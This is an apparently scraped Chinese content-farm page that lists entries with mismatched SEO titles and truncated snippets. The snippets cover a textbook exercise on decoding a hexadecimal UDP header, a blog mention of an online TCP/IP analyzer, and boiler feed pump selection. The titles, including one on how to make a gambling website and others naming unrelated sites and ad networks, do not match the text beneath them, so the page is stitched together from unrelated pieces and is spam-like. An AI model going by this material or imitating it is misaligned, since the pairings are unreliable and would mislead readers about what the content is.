做图的ppt模板下载网站/百青藤广告联盟
下面是以十六进制格式存储的一个UDP首部: CB84000D001C001C 试问: a.源端口号是什么? b.目的端口号是什么? c.这个用户数据报的总长度是什么? d.数据长度是多少? e.这个分组是从客户…...
新疆生产建设兵团33团网站/百度推广代理开户
来源:http://hi.baidu.com/zhangyy12/blog/item/742b68604f2971de8db10df9.html 不信的朋友可以请到http://www.speedguide.net/主页去看看,看到左面Shortcuts一栏----TCP/IP Analyzer 点下去 分析你的网络…...
怎么做赌博网站/培训心得体会模板
锅炉给水泵的结构图与选型方式介绍着我国工业的发展,许多企业规模不断扩大,作为提供动力源的锅炉也随之增加,而在非锅炉行业的企业中精通锅炉专业的人很少,精通锅炉辅机的人就更少,这就给企业在锅炉辅机的选型上带来一…...